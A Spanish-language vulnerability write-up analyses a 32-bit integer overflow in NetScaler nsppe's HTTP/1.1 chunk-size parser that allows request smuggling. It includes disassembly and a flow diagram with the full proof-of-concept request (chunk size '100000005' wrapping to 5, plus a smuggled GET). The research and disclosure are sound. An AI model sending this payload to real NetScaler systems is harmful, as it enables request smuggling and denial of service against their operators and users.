
Análisis técnico de una vulnerabilidad de contrabando de solicitudes por desbordamiento de entero en el tamaño de chunk HTTP/1.1 de NetScaler nsppe, con desensamblado, flujos PoC a nivel de red y diff del parche de firmware.
El analizador de cuerpo chunked de HTTP/1.1 de nsppe lee el campo de tamaño de chunk en un registro de 32 bits y nunca comprueba el desbordamiento. Con nueve o más dígitos hexadecimales, el valor se desborda silenciosamente: 100000005 (2^32 + 5) se consume como un tamaño de chunk de 5.
Eso es un bug de analizador gracioso hasta que recuerdas qué hace NetScaler con el cuerpo: reenvía el framing chunked del cliente al backend exactamente tal como lo recibe, pero decide dónde termina la petición usando su propio valor desbordado. Así que el proxy cree que la petición #1 está completa tras cinco bytes de cuerpo, mientras que un backend correcto que lee los mismos bytes calcula 4.294.967.301 y se prepara para un cuerpo de 4 GB que nunca llegará. Dos máquinas, un mismo flujo de bytes, dos opiniones distintas sobre dónde termina una petición.
Todo lo que va después de la versión de NetScaler de "el final" se reclasifica como una nueva petición pipelined en la misma conexión del cliente, y luego se reenvía de forma independiente por la conexión compartida proxy-a-backend.
Lo que terminas obteniendo depende del propio analizador del backend:
Una petición no autenticada. Configuración por defecto. Sin precondiciones más allá de alcanzar un vserver HTTP.
La tarea del analizador es simple: convertir una línea de tamaño de chunk como 1a3f\r\n en un número. Toma el búfer en rdi con su longitud en esi, acumula el valor hexadecimal en la ranura de 32 bits en *rdx (entrada y salida, de modo que un tamaño dividido entre dos paquetes se reanuda limpiamente), omite espacios en blanco y requiere el \r\n final. Responde con los bytes consumidos, 0 para "se necesitan más datos", o -1 para malformado.
Todo el bucle, lo bastante pequeño como para ver el bug a simple vista:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d es el acumulador, y tiene 32 bits de ancho. Cada dígito hace value <<= 4; value += digit. Sin contador de dígitos, sin límite de magnitud, sin comprobación de desbordamiento, sin jo en ningún lugar del bucle. El noveno dígito no genera un error; desplaza la parte alta del número fuera del final del registro y nadie se da cuenta. 0x100000005 & 0xffffffff = 5, y el analizador queda perfectamente satisfecho con eso.
Hay exactamente una comprobación de cordura aguas abajo, y está mal de una forma casi poética. El controlador de desagrupación (sub_20af6b0, sitios de llamada 0x20af719 / 0x20af9fb, tamaño almacenado en [r12+0x344]) aplica una prueba de signo al valor acumulado. Piénsalo un segundo: los únicos desbordamientos que se detectan son los que caen en la mitad negativa, [0x80000000, 0xffffffff]. Un tamaño desbordado cuyos 32 bits bajos quedan por debajo de 0x80000000 pasa como un tamaño de fragmento completamente normal. 0x100000005 desbordando a 5 es el caso canónico: desbordado, inadvertido y devastador.
El paquete se convierte en un contrabando debido a una decisión de diseño en cómo NetScaler trata los cuerpos: reenvía el framing chunked del cliente al backend byte por byte, sin tocarlo, mientras usa su propia comprensión (desbordada) de ese framing para decidir dónde termina la petición del cliente.
Así que NetScaler termina la petición #1 después de cinco bytes de cuerpo y encola los 37 restantes como una segunda petición, en pipeline. El backend, haciendo la aritmética correctamente, lee 100000005 como 4.294.967.301 y sigue esperando el cuerpo de la petición #1. A partir de ese momento, ambas cajas leen el mismo flujo y viven en mundos diferentes.
En qué mundo terminas depende del backend.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |